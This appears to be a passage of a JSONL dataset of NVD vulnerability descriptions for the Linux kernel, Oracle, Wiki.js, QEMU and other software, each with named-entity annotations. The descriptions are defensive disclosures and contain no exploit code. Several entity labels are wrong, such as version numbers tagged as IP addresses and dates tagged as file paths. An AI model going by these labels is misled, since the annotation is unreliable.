do_syscall_64+0x90/0x170\n......\n\nAfter calling bpf_exec_tx_verdict(), the size of msg_pl->sg may increase,\ne.g., when the BPF program executes bpf_msg_push_data().\n\nIf the BPF program sets cork_bytes and sg.size is smaller than cork_bytes,\nit will return -ENOSPC and attempt to roll back to the non-zero copy\nlogic. However, during rollback, msg->msg_iter is reset, but since\nmsg_pl->sg.size has been increased, subsequent executions will exceed the\nactual size of msg_iter.\n'''\niov_iter_revert(&msg->msg_iter, msg_pl->sg.size - orig_size);\n'''\n\nThe changes in this commit are based on the following considerations:\n\n1. When cork_bytes is set, rolling back to non-zero copy logic is\npointless and can directly go to zero-copy logic.\n\n2. We can not calculate the correct number of bytes to revert msg_iter.\n\nAssume the original data is \"abcdefgh\" (8 bytes), and after 3 pushes\nby the BPF program, it becomes 11-byte data: \"abc?de?fgh?\".\nThen, we set cork_bytes to 6, which means the first 6 bytes have been\nprocessed, and the remaining 5 bytes \"?fgh?\" will be cached until the\nlength meets the cork_bytes requirement.\n\nHowever, some data in \"?fgh?\" is not within 'sg->msg_iter'\n(but in msg_pl instead), especially the data \"?\" we pushed.\n\nSo it doesn't seem as simple as just reverting through an offset of\nmsg_iter.\n\n3. For non-TLS sockets in tcp_bpf_sendmsg, when a \"cork\" situation occurs,\nthe user-space send() doesn't return an error, and the returned length is\nthe same as the input length parameter, even if some data is cached.\n\nAdditionally, I saw that the current non-zero-copy logic for handling\ncorking is written as:\n'''\nline 1177\nelse if (ret != -EAGAIN) {\n\tif (ret == -ENOSPC)\n\t\tret = 0;\n\tgoto send_end;\n'''\n\nSo it's ok to just return 'copied' without error when a \"cork\" situation\noccurs.", "spans": {"FILEPATH: iov_iter.c": [[188, 198]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38166"}}
{"text": "Vulnerability in the Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: Weblogic Server Proxy Plug-in for Apache HTTP Server, Weblogic Server Proxy Plug-in for IIS).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical data or complete access to all Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in accessible data. Note: Affected version for Weblogic Server Proxy Plug-in for IIS is 12.2.1.4.0 only. CVSS 3.1 Base Score 10.0 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).", "spans": {"IP_ADDRESS: 12.2.1.4": [[262, 270], [1052, 1060]], "IP_ADDRESS: 14.1.1.0": [[274, 282]], "IP_ADDRESS: 14.1.2.0": [[290, 298]], "SYSTEM: Apache HTTP Server": [[160, 178]], "SYSTEM: IIS": [[214, 217], [1045, 1048]], "ORGANIZATION: Oracle": [[21, 27], [41, 47], [89, 95], [410, 416], [430, 436], [499, 505], [519, 525], [762, 768], [782, 788], [910, 916], [930, 936]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-21962"}}
{"text": "ORY Fosite is a security first OAuth2 & OpenID Connect framework for Go. In Fosite before version 0.34.1, the OAuth 2.0 Client's registered redirect URLs and the redirect URL provided at the OAuth2 Authorization Endpoint where compared using strings.ToLower while they should have been compared with a simple string match. This allows an attacker to register a client with allowed redirect URL https://example.com/callback. Then perform an OAuth2 flow and requesting redirect URL https://example.com/CALLBACK. Instead of an error (invalid redirect URL), the browser is redirected to https://example.com/CALLBACK with a potentially successful OAuth2 response, depending on the state of the overall OAuth2 flow (the user might still deny the request for example). This vulnerability has been patched in ORY Fosite v0.34.1.", "spans": {"URL: https://example.com/callback.": [[394, 423]], "URL: https://example.com/CALLBACK.": [[480, 509]], "URL: https://example.com/CALLBACK": [[583, 611]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15234"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncachefiles: fix memory leak in cachefiles_add_cache()\n\nThe following memory leak was reported after unbinding /dev/cachefiles:\n\n==================================================================\nunreferenced object 0xffff9b674176e3c0 (size 192):\n  comm \"cachefilesd2\", pid 680, jiffies 4294881224\n  hex dump (first 32 bytes):\n    01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace (crc ea38a44b):\n    [<ffffffff8eb8a1a5>] kmem_cache_alloc+0x2d5/0x370\n    [<ffffffff8e917f86>] prepare_creds+0x26/0x2e0\n    [<ffffffffc002eeef>] cachefiles_determine_cache_security+0x1f/0x120\n    [<ffffffffc00243ec>] cachefiles_add_cache+0x13c/0x3a0\n    [<ffffffffc0025216>] cachefiles_daemon_write+0x146/0x1c0\n    [<ffffffff8ebc4a3b>] vfs_write+0xcb/0x520\n    [<ffffffff8ebc5069>] ksys_write+0x69/0xf0\n    [<ffffffff8f6d4662>] do_syscall_64+0x72/0x140\n    [<ffffffff8f8000aa>] entry_SYSCALL_64_after_hwframe+0x6e/0x76\n==================================================================\n\nPut the reference count of cache_cred in cachefiles_daemon_unbind() to\nfix the problem. And also put cache_cred in cachefiles_add_cache() error\nbranch to avoid memory leaks.", "spans": {"FILEPATH: /dev/cachefiles": [[179, 194]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[85, 96], [138, 149]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26840"}}
{"text": "NestJS Proxy is a NestJS module to decorate and proxy calls. Prior to version 0.7.0, the nestjs-proxy library did not have a way to block sensitive cookies (e.g. session cookies) from being forwarded to backend services configured by the application developer. This could have led to sensitive cookies being inadvertently exposed to such services that should not see them. The patched version now blocks cookies from being forwarded by default. However developers can configure an allow-list of cookie names by using the `allowedCookies` config setting. This issue has been fixed in version 0.7.0 of `@finastra/nestjs-proxy`. Users of `@ffdc/nestjs-proxy` are advised that this package has been deprecated and is no longer being maintained or receiving updates. Such users should update their package.json file to use `@finastra/nestjs-proxy` instead.", "spans": {"FILEPATH: package.json": [[793, 805]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31070"}}
{"text": "<p>A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.</p>\n<p>The attacker who successfully exploited the vulnerability could then perform cross-site scripting attacks on affected systems and run script in the security context of the current user. The attacks could allow the attacker to read content that the attacker is not authorized to read, use the victim's identity to take actions on the SharePoint site on behalf of the user, such as change permissions and delete content, and inject malicious content in the browser of the user.</p>\n<p>The security update addresses the vulnerability by helping to ensure that SharePoint Server properly sanitizes web requests.</p>", "spans": {"SYSTEM: Microsoft SharePoint": [[58, 78]], "VULNERABILITY: cross-site scripting": [[394, 414]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1227"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Event Management). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager Base Platform accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager Base Platform. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[163, 171]], "IP_ADDRESS: 13.2.0.0": [[173, 181]], "IP_ADDRESS: 13.3.0.0": [[186, 194]], "ORGANIZATION: Oracle": [[65, 71]], "VULNERABILITY: denial of service": [[665, 682]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2622"}}
{"text": "This issue occurs on Juniper Networks Junos OS devices which do not support Advanced Forwarding Interface (AFI) / Advanced Forwarding Toolkit (AFT). Devices using AFI and AFT are not exploitable to this issue. An improper initialization of memory in the packet forwarding architecture in Juniper Networks Junos OS non-AFI/AFT platforms which may lead to a Denial of Service (DoS) vulnerability being exploited when a genuine packet is received and inspected by non-AFT/AFI sFlow and when the device is also configured with firewall policers. This first genuine packet received and inspected by sampled flow (sFlow) through a specific firewall policer will cause the device to reboot. After the reboot has completed, if the device receives and sFlow inspects another genuine packet seen through a specific firewall policer, the device will generate a core file and reboot. Continued inspection of these genuine packets will create an extended Denial of Service (DoS) condition. Depending on the method for service restoration, e.g. hard boot or soft reboot, a core file may or may not be generated the next time the packet is received and inspected by sFlow. This issue affects: Juniper Networks Junos OS 17.4 versions prior to 17.4R2-S9, 17.4R3 on PTX1000 and PTX10000 Series, QFX10000 Series; 18.1 versions prior to 18.1R3-S9 on PTX1000 and PTX10000 Series, QFX10000 Series; 18.2X75 versions prior to 18.2X75-D12, 18.2X75-D30 on PTX1000 and PTX10000 Series, QFX10000 Series; 18.2 versions prior to 18.2R3 on PTX1000 and PTX10000 Series, QFX10000 Series; 18.3 versions prior to 18.3R3 on PTX1000 and PTX10000 Series, QFX10000 Series. This issue is not applicable to Junos OS versions before 17.4R1. This issue is not applicable to Junos OS Evolved or Junos OS with Advanced Forwarding Toolkit (AFT) forwarding implementations which use a different implementation of sFlow. The following example information is unrelated to this issue and is provided solely to assist you with determining if you have AFT or not. Example: A Junos OS device which supports the use of EVPN signaled VPWS with Flexible Cross Connect uses the AFT implementation. Since this configuration requires support and use of the AFT implementation to support this configuration, the device is not vulnerable to this issue as the sFlow implementation is different using the AFT architecture. For further details about AFT visit the AFI / AFT are in the links below. If you are uncertain if you use the AFI/AFT implementation or not, there are configuration examples in the links below which you may use to determine if you are vulnerable to this issue or not. If the commands work, you are. If not, you are not. You may also use the Feature Explorer to determine if AFI/AFT is supported or not. If you are still uncertain, please contact your support resources.", "spans": {"ORGANIZATION: Juniper": [[21, 28], [288, 295], [1178, 1185]], "VULNERABILITY: Denial of Service": [[356, 373], [942, 959]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1617"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu/kvfree: Fix data-race in __mod_timer / kvfree_call_rcu\n\nKCSAN reports a data race when access the krcp->monitor_work.timer.expires\nvariable in the schedule_delayed_monitor_work() function:\n\n<snip>\nBUG: KCSAN: data-race in __mod_timer / kvfree_call_rcu\n\nread to 0xffff888237d1cce8 of 8 bytes by task 10149 on cpu 1:\n schedule_delayed_monitor_work kernel/rcu/tree.c:3520 [inline]\n kvfree_call_rcu+0x3b8/0x510 kernel/rcu/tree.c:3839\n trie_update_elem+0x47c/0x620 kernel/bpf/lpm_trie.c:441\n bpf_map_update_value+0x324/0x350 kernel/bpf/syscall.c:203\n generic_map_update_batch+0x401/0x520 kernel/bpf/syscall.c:1849\n bpf_map_do_batch+0x28c/0x3f0 kernel/bpf/syscall.c:5143\n __sys_bpf+0x2e5/0x7a0\n __do_sys_bpf kernel/bpf/syscall.c:5741 [inline]\n __se_sys_bpf kernel/bpf/syscall.c:5739 [inline]\n __x64_sys_bpf+0x43/0x50 kernel/bpf/syscall.c:5739\n x64_sys_call+0x2625/0x2d60 arch/x86/include/generated/asm/syscalls_64.h:322\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xc9/0x1c0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nwrite to 0xffff888237d1cce8 of 8 bytes by task 56 on cpu 0:\n __mod_timer+0x578/0x7f0 kernel/time/timer.c:1173\n add_timer_global+0x51/0x70 kernel/time/timer.c:1330\n __queue_delayed_work+0x127/0x1a0 kernel/workqueue.c:2523\n queue_delayed_work_on+0xdf/0x190 kernel/workqueue.c:2552\n queue_delayed_work include/linux/workqueue.h:677 [inline]\n schedule_delayed_monitor_work kernel/rcu/tree.c:3525 [inline]\n kfree_rcu_monitor+0x5e8/0x660 kernel/rcu/tree.c:3643\n process_one_work kernel/workqueue.c:3229 [inline]\n process_scheduled_works+0x483/0x9a0 kernel/workqueue.c:3310\n worker_thread+0x51d/0x6f0 kernel/workqueue.c:3391\n kthread+0x1d1/0x210 kernel/kthread.c:389\n ret_from_fork+0x4b/0x60 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n\nReported by Kernel Concurrency Sanitizer on:\nCPU: 0 UID: 0 PID: 56 Comm: kworker/u8:4 Not tainted 6.12.0-rc2-syzkaller-00050-g5b7c893ed5ed #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nWorkqueue: events_unbound kfree_rcu_monitor\n<snip>\n\nkfree_rcu_monitor() rearms the work if a \"krcp\" has to be still\noffloaded and this is done without holding krcp->lock, whereas\nthe kvfree_call_rcu() holds it.\n\nFix it by acquiring the \"krcp->lock\" for kfree_rcu_monitor() so\nboth functions do not race anymore.", "spans": {"FILEPATH: /rcu/tree.c": [[425, 436], [486, 497], [1510, 1521], [1573, 1584]], "FILEPATH: /bpf/lpm_trie.c": [[539, 554]], "FILEPATH: /bpf/syscall.c": [[599, 613], [662, 676], [718, 732], [781, 795], [830, 844], [890, 904]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[942, 982]], "FILEPATH: /x86/entry/common.c": [[1007, 1026], [1069, 1088]], "FILEPATH: /time/timer.c": [[1226, 1239], [1279, 1292]], "FILEPATH: /linux/workqueue.h": [[1441, 1459]], "FILEPATH: /x86/kernel/process.c": [[1824, 1845]], "FILEPATH: /x86/entry/entry_64.S": [[1883, 1904]], "FILEPATH: /13/2024": [[2133, 2141]], "FILEPATH: workqueue.c": [[1339, 1350], [1397, 1408], [1615, 1626], [1685, 1696], [1736, 1747]], "FILEPATH: kthread.c": [[1781, 1790]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[2067, 2073], [2074, 2080], [2096, 2102], [2124, 2130]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53160"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nftrace: Fix NULL pointer dereference in is_ftrace_trampoline when ftrace is dead\n\nftrace_startup does not remove ops from ftrace_ops_list when\nftrace_startup_enable fails:\n\nregister_ftrace_function\n  ftrace_startup\n    __register_ftrace_function\n      ...\n      add_ftrace_ops(&ftrace_ops_list, ops)\n      ...\n    ...\n    ftrace_startup_enable // if ftrace failed to modify, ftrace_disabled is set to 1\n    ...\n  return 0 // ops is in the ftrace_ops_list.\n\nWhen ftrace_disabled = 1, unregister_ftrace_function simply returns without doing anything:\nunregister_ftrace_function\n  ftrace_shutdown\n    if (unlikely(ftrace_disabled))\n            return -ENODEV;  // return here, __unregister_ftrace_function is not executed,\n                             // as a result, ops is still in the ftrace_ops_list\n    __unregister_ftrace_function\n    ...\n\nIf ops is dynamically allocated, it will be free later, in this case,\nis_ftrace_trampoline accesses NULL pointer:\n\nis_ftrace_trampoline\n  ftrace_ops_trampoline\n    do_for_each_ftrace_op(op, ftrace_ops_list) // OOPS! op may be NULL!\n\nSyzkaller reports as follows:\n[ 1203.506103] BUG: kernel NULL pointer dereference, address: 000000000000010b\n[ 1203.508039] #PF: supervisor read access in kernel mode\n[ 1203.508798] #PF: error_code(0x0000) - not-present page\n[ 1203.509558] PGD 800000011660b067 P4D 800000011660b067 PUD 130fb8067 PMD 0\n[ 1203.510560] Oops: 0000 [#1] SMP KASAN PTI\n[ 1203.511189] CPU: 6 PID: 29532 Comm: syz-executor.2 Tainted: G    B   W         5.10.0 #8\n[ 1203.512324] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\n[ 1203.513895] RIP: 0010:is_ftrace_trampoline+0x26/0xb0\n[ 1203.514644] Code: ff eb d3 90 41 55 41 54 49 89 fc 55 53 e8 f2 00 fd ff 48 8b 1d 3b 35 5d 03 e8 e6 00 fd ff 48 8d bb 90 00 00 00 e8 2a 81 26 00 <48> 8b ab 90 00 00 00 48 85 ed 74 1d e8 c9 00 fd ff 48 8d bb 98 00\n[ 1203.518838] RSP: 0018:ffffc900012cf960 EFLAGS: 00010246\n[ 1203.520092] RAX: 0000000000000000 RBX: 000000000000007b RCX: ffffffff8a331866\n[ 1203.521469] RDX: 0000000000000000 RSI: 0000000000000008 RDI: 000000000000010b\n[ 1203.522583] RBP: 0000000000000000 R08: 0000000000000000 R09: ffffffff8df18b07\n[ 1203.523550] R10: fffffbfff1be3160 R11: 0000000000000001 R12: 0000000000478399\n[ 1203.524596] R13: 0000000000000000 R14: ffff888145088000 R15: 0000000000000008\n[ 1203.525634] FS:  00007f429f5f4700(0000) GS:ffff8881daf00000(0000) knlGS:0000000000000000\n[ 1203.526801] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 1203.527626] CR2: 000000000000010b CR3: 0000000170e1e001 CR4: 00000000003706e0\n[ 1203.528611] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 1203.529605] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n\nTherefore, when ftrace_startup_enable fails, we need to rollback registration\nprocess and remove ops from ftrace_ops_list.", "spans": {"DOMAIN: rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org": [[1659, 1703]], "FILEPATH: /01/2014": [[1706, 1714]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1614, 1618]], "VULNERABILITY: NULL pointer dereference": [[81, 105], [1202, 1226]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49977"}}
{"text": "HTML sanitizer is written in PHP, aiming to provide XSS-safe markup based on explicitly allowed tags, attributes and values. In versions prior to 1.5.0 or 2.1.1,  malicious markup used in a sequence with special HTML CDATA sections cannot be filtered and sanitized due to a parsing issue in the upstream package masterminds/html5. This allows bypassing the cross-site scripting mechanism of typo3/html-sanitizer. The upstream package masterminds/html5 provides HTML raw text elements (`script`, `style`, `noframes`, `noembed` and `iframe`) as DOMText nodes, which were not processed and sanitized further. None of the mentioned elements were defined in the default builder configuration, that's why only custom behaviors, using one of those tag names, were vulnerable to cross-site scripting. This issue has been fixed in versions 1.5.0 and 2.1.1.", "spans": {"SYSTEM: PHP": [[29, 32]], "VULNERABILITY: cross-site scripting": [[357, 377], [771, 791]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23499"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni40e: fix IRQ freeing in i40e_vsi_request_irq_msix error path\n\nIf request_irq() in i40e_vsi_request_irq_msix() fails in an iteration\nlater than the first, the error path wants to free the IRQs requested\nso far. However, it uses the wrong dev_id argument for free_irq(), so\nit does not free the IRQs correctly and instead triggers the warning:\n\n Trying to free already-free IRQ 173\n WARNING: CPU: 25 PID: 1091 at kernel/irq/manage.c:1829 __free_irq+0x192/0x2c0\n Modules linked in: i40e(+) [...]\n CPU: 25 UID: 0 PID: 1091 Comm: NetworkManager Not tainted 6.17.0-rc1+ #1 PREEMPT(lazy)\n Hardware name: [...]\n RIP: 0010:__free_irq+0x192/0x2c0\n [...]\n Call Trace:\n  <TASK>\n  free_irq+0x32/0x70\n  i40e_vsi_request_irq_msix.cold+0x63/0x8b [i40e]\n  i40e_vsi_request_irq+0x79/0x80 [i40e]\n  i40e_vsi_open+0x21f/0x2f0 [i40e]\n  i40e_open+0x63/0x130 [i40e]\n  __dev_open+0xfc/0x210\n  __dev_change_flags+0x1fc/0x240\n  netif_change_flags+0x27/0x70\n  do_setlink.isra.0+0x341/0xc70\n  rtnl_newlink+0x468/0x860\n  rtnetlink_rcv_msg+0x375/0x450\n  netlink_rcv_skb+0x5c/0x110\n  netlink_unicast+0x288/0x3c0\n  netlink_sendmsg+0x20d/0x430\n  ____sys_sendmsg+0x3a2/0x3d0\n  ___sys_sendmsg+0x99/0xe0\n  __sys_sendmsg+0x8a/0xf0\n  do_syscall_64+0x82/0x2c0\n  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n  [...]\n  </TASK>\n ---[ end trace 0000000000000000 ]---\n\nUse the same dev_id for free_irq() as for request_irq().\n\nI tested this with inserting code to fail intentionally.", "spans": {"FILEPATH: /irq/manage.c": [[487, 500]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39911"}}
{"text": "Wagtail is an open source content management system built on Django. Starting in version 1.5 and prior to versions 4.1.4 and 4.2.2, a stored cross-site scripting (XSS) vulnerability exists on ModelAdmin views within the Wagtail admin interface. A user with a limited-permission editor account for the Wagtail admin could potentially craft pages and documents that, when viewed by a user with higher privileges, could perform actions with that user's credentials. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin, and only affects sites with ModelAdmin enabled. For page, the vulnerability is in the \"Choose a parent page\" ModelAdmin view (`ChooseParentView`), available when managing pages via ModelAdmin. For documents, the vulnerability is in the ModelAdmin Inspect view (`InspectView`) when displaying document fields. Patched versions have been released as Wagtail 4.1.4 and Wagtail 4.2.2. Site owners who are unable to upgrade to the new versions can disable or override the corresponding functionality.", "spans": {"VULNERABILITY: cross-site scripting": [[141, 161]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28836"}}
{"text": "In Wiki.js before version 2.5.151, directory traversal outside of Wiki.js context is possible when a storage module with local asset cache fetching is enabled. A malicious user can potentially read any file on the file system by crafting a special URL that allows for directory traversal. This is only possible when a storage module implementing local asset cache (e.g Local File System or Git) is enabled and that no web application firewall solution (e.g. cloudflare) strips potentially malicious URLs. Commit 084dcd69d1591586ee4752101e675d5f0ac6dcdc fixes this vulnerability by sanitizing the path before it is passed on to the storage module. The sanitization step removes any directory traversal (e.g. `..` and `.`) sequences as well as invalid filesystem characters from the path. As a workaround, disable any storage module with local asset caching capabilities such as Local File System and Git.", "spans": {"HASH: 084dcd69d1591586ee4752101e675d5f0ac6dcdc": [[512, 552]], "FILEPATH: Wiki.js": [[3, 10], [66, 73]], "VULNERABILITY: directory traversal": [[35, 54], [268, 287], [681, 700]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15236"}}
{"text": "Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Library). Supported versions that are affected are Java SE: 7u301, 8u291, 11.0.11, 16.0.1; Oracle GraalVM Enterprise Edition: 20.3.2 and 21.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 4.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [82, 86], [153, 157], [369, 373], [608, 612], [704, 708], [761, 765], [802, 806], [907, 911], [971, 975]], "ORGANIZATION: Oracle": [[30, 36], [75, 81], [193, 199], [378, 384], [617, 623]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2369"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mlx5: Return the firmware result upon destroying QP/RQ\n\nPreviously when destroying a QP/RQ, the result of the firmware\ndestruction function was ignored and upper layers weren't informed\nabout the failure.\nWhich in turn could lead to various problems since when upper layer\nisn't aware of the failure it continues its operation thinking that the\nrelated QP/RQ was successfully destroyed while it actually wasn't,\nwhich could lead to the below kernel WARN.\n\nCurrently, we return the correct firmware destruction status to upper\nlayers which in case of the RQ would be mlx5_ib_destroy_wq() which\nwas already capable of handling RQ destruction failure or in case of\na QP to destroy_qp_common(), which now would actually warn upon qp\ndestruction failure.\n\nWARNING: CPU: 3 PID: 995 at drivers/infiniband/core/rdma_core.c:940 uverbs_destroy_ufile_hw+0xcb/0xe0 [ib_uverbs]\nModules linked in: xt_conntrack xt_MASQUERADE nf_conntrack_netlink nfnetlink xt_addrtype iptable_nat nf_nat br_netfilter rpcrdma rdma_ucm ib_iser libiscsi scsi_transport_iscsi rdma_cm ib_umad ib_ipoib iw_cm ib_cm mlx5_ib ib_uverbs ib_core overlay mlx5_core fuse\nCPU: 3 PID: 995 Comm: python3 Not tainted 5.16.0-rc5+ #1\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\nRIP: 0010:uverbs_destroy_ufile_hw+0xcb/0xe0 [ib_uverbs]\nCode: 41 5c 41 5d 41 5e e9 44 34 f0 e0 48 89 df e8 4c 77 ff ff 49 8b 86 10 01 00 00 48 85 c0 74 a1 4c 89 e7 ff d0 eb 9a 0f 0b eb c1 <0f> 0b be 04 00 00 00 48 89 df e8 b6 f6 ff ff e9 75 ff ff ff 90 0f\nRSP: 0018:ffff8881533e3e78 EFLAGS: 00010287\nRAX: ffff88811b2cf3e0 RBX: ffff888106209700 RCX: 0000000000000000\nRDX: ffff888106209780 RSI: ffff8881533e3d30 RDI: ffff888109b101a0\nRBP: 0000000000000001 R08: ffff888127cb381c R09: 0de9890000000009\nR10: ffff888127cb3800 R11: 0000000000000000 R12: ffff888106209780\nR13: ffff888106209750 R14: ffff888100f20660 R15: 0000000000000000\nFS:  00007f8be353b740(0000) GS:ffff88852c980000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f8bd5b117c0 CR3: 000000012cd8a004 CR4: 0000000000370ea0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n ib_uverbs_close+0x1a/0x90 [ib_uverbs]\n __fput+0x82/0x230\n task_work_run+0x59/0x90\n exit_to_user_mode_prepare+0x138/0x140\n syscall_exit_to_user_mode+0x1d/0x50\n ? __x64_sys_close+0xe/0x40\n do_syscall_64+0x4a/0x90\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x7f8be3ae0abb\nCode: 03 00 00 00 0f 05 48 3d 00 f0 ff ff 77 41 c3 48 83 ec 18 89 7c 24 0c e8 83 43 f9 ff 8b 7c 24 0c 41 89 c0 b8 03 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 35 44 89 c7 89 44 24 0c e8 c1 43 f9 ff 8b 44\nRSP: 002b:00007ffdb51909c0 EFLAGS: 00000293 ORIG_RAX: 0000000000000003\nRAX: 0000000000000000 RBX: 0000557bb7f7c020 RCX: 00007f8be3ae0abb\nRDX: 0000557bb7c74010 RSI: 0000557bb7f14ca0 RDI: 0000000000000005\nRBP: 0000557bb7fbd598 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000293 R12: 0000557bb7fbd5b8\nR13: 0000557bb7fbd5a8 R14: 0000000000001000 R15: 0000557bb7f7c020\n </TASK>", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[1315, 1359]], "FILEPATH: /infiniband/core/rdma_core.c": [[860, 888]], "FILEPATH: /01/2014": [[1362, 1370]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1273, 1277]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53286"}}
{"text": "A heap-based buffer overflow was found in QEMU through 5.0.0 in the SDHCI device emulation support. It could occur while doing a multi block SDMA transfer via the sdhci_sdma_transfer_multi_blocks() routine in hw/sd/sdhci.c. A guest user or process could use this flaw to crash the QEMU process on the host, resulting in a denial of service condition, or potentially execute arbitrary code with privileges of the QEMU process on the host.", "spans": {"FILEPATH: /sd/sdhci.c.": [[211, 223]], "SYSTEM: QEMU": [[42, 46], [281, 285], [412, 416]], "VULNERABILITY: heap-based buffer overflow": [[2, 28]], "VULNERABILITY: denial of service": [[322, 339]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17380"}}
{"text": "Keystone is a headless CMS for Node.js — built with GraphQL and React.`@keystone-6/core@3.0.0 || 3.0.1` users that use `NODE_ENV` to trigger security-sensitive functionality in their production builds are vulnerable to `NODE_ENV` being inlined to `\"development\"` for user code, irrespective of what your environment variables. If you do not use `NODE_ENV` in your user code to trigger security-sensitive functionality, you are not impacted by this vulnerability. Any dependencies that use `NODE_ENV` to trigger particular behaviors (optimizations, security or otherwise) should still respect your environment's configured `NODE_ENV` variable. The application's dependencies, as found in `node_modules` (including `@keystone-6/core`), are typically not compiled as part of this process, and thus should be unaffected. We have tested this assumption by verifying that `NODE_ENV=production yarn keystone start` still uses secure cookies when using `statelessSessions`. This vulnerability has been fixed in @keystone-6/core@3.0.2, regression tests have been added for this vulnerability in #8063.", "spans": {"FILEPATH: Node.js": [[31, 38]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39382"}}
